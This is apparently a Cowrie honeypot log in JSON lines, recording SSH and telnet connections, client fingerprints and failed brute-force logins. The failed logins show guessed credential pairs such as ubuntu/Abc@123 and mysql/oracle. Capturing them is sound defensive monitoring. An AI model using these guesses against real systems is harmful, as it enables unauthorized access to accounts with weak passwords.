{"eventid":"cowrie.login.failed","username":"user","password":"999999","message":"login attempt [user/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:33.056822Z","src_ip":"186.96.151.198","session":"741e5d672a99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":38050,"dst_ip":"10.17.0.5","dst_port":22,"session":"40dd1a32502e","protocol":"ssh","message":"New connection: 43.157.90.107:38050 (10.17.0.5:22) [session: 40dd1a32502e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:33.689535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:33.694237Z","src_ip":"43.157.90.107","session":"40dd1a32502e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:33.788065Z","src_ip":"43.157.90.107","session":"40dd1a32502e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:34.121288Z","src_ip":"186.96.151.198","session":"741e5d672a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"justin","password":"test","message":"login attempt [justin/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:34.188951Z","src_ip":"43.157.90.107","session":"40dd1a32502e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:35.284961Z","src_ip":"43.157.90.107","session":"40dd1a32502e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":44019,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c3230da7c15","protocol":"ssh","message":"New connection: 79.55.224.44:44019 (10.17.0.5:22) [session: 7c3230da7c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:55.740346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:55.745375Z","src_ip":"79.55.224.44","session":"7c3230da7c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:55.863008Z","src_ip":"79.55.224.44","session":"7c3230da7c15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"oracle","message":"login attempt [mysql/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:56.355803Z","src_ip":"79.55.224.44","session":"7c3230da7c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:09:57.476407Z","src_ip":"79.55.224.44","session":"7c3230da7c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":41010,"dst_ip":"159.203.135.109","dst_port":22,"session":"59f2df5cabb0","protocol":"ssh","message":"New connection: 13.67.236.135:41010 (159.203.135.109:22) [session: 59f2df5cabb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:00.560298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:00.567292Z","src_ip":"13.67.236.135","session":"59f2df5cabb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:00.602998Z","src_ip":"13.67.236.135","session":"59f2df5cabb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"github","password":"1234","message":"login attempt [github/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:00.776997Z","src_ip":"13.67.236.135","session":"59f2df5cabb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:01.818532Z","src_ip":"13.67.236.135","session":"59f2df5cabb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":55390,"dst_ip":"10.17.0.5","dst_port":22,"session":"606b230a9058","protocol":"ssh","message":"New connection: 43.157.90.107:55390 (10.17.0.5:22) [session: 606b230a9058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:19.442969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:19.452314Z","src_ip":"43.157.90.107","session":"606b230a9058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:19.541069Z","src_ip":"43.157.90.107","session":"606b230a9058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc@123","message":"login attempt [ubuntu/Abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:19.924382Z","src_ip":"43.157.90.107","session":"606b230a9058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:21.020594Z","src_ip":"43.157.90.107","session":"606b230a9058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":59062,"dst_ip":"159.203.135.109","dst_port":22,"session":"110f0c8f25af","protocol":"ssh","message":"New connection: 186.96.151.198:59062 (159.203.135.109:22) [session: 110f0c8f25af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:23.909107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:23.914287Z","src_ip":"186.96.151.198","session":"110f0c8f25af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:23.976287Z","src_ip":"186.96.151.198","session":"110f0c8f25af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345678!","message":"login attempt [ubuntu/Abc12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:24.252843Z","src_ip":"186.96.151.198","session":"110f0c8f25af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:25.316447Z","src_ip":"186.96.151.198","session":"110f0c8f25af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":54866,"dst_ip":"10.17.0.5","dst_port":22,"session":"16fa398e221e","protocol":"ssh","message":"New connection: 95.240.192.149:54866 (10.17.0.5:22) [session: 16fa398e221e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:50.320538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:50.325476Z","src_ip":"95.240.192.149","session":"16fa398e221e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:50.438974Z","src_ip":"95.240.192.149","session":"16fa398e221e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":".","message":"login attempt [ubuntu/.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:50.919325Z","src_ip":"95.240.192.149","session":"16fa398e221e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:52.034840Z","src_ip":"95.240.192.149","session":"16fa398e221e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00282526016235,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:53.494386Z","src_ip":"67.86.177.43","session":"8c012143c6e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.86.177.43","src_port":40068,"dst_ip":"159.203.135.109","dst_port":23,"session":"f33ec816b61f","protocol":"telnet","message":"New connection: 67.86.177.43:40068 (159.203.135.109:23) [session: f33ec816b61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:53.845706Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":59070,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ead870d400d","protocol":"ssh","message":"New connection: 13.67.236.135:59070 (159.203.135.109:22) [session: 5ead870d400d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:56.899103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:56.903767Z","src_ip":"13.67.236.135","session":"5ead870d400d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:56.939949Z","src_ip":"13.67.236.135","session":"5ead870d400d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftptest","password":"12345678","message":"login attempt [sftptest/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:57.111855Z","src_ip":"13.67.236.135","session":"5ead870d400d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:58.150098Z","src_ip":"13.67.236.135","session":"5ead870d400d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":49292,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ae166bc8b5","protocol":"ssh","message":"New connection: 43.165.177.199:49292 (10.17.0.5:22) [session: 71ae166bc8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:58.953976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:58.958754Z","src_ip":"43.165.177.199","session":"71ae166bc8b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:59.130317Z","src_ip":"43.165.177.199","session":"71ae166bc8b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newadmin","password":"newadmin","message":"login attempt [newadmin/newadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:10:59.838490Z","src_ip":"43.165.177.199","session":"71ae166bc8b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:01.011201Z","src_ip":"43.165.177.199","session":"71ae166bc8b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":44506,"dst_ip":"10.17.0.5","dst_port":22,"session":"297a0611c340","protocol":"ssh","message":"New connection: 43.157.90.107:44506 (10.17.0.5:22) [session: 297a0611c340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:11:05.733630Z"}
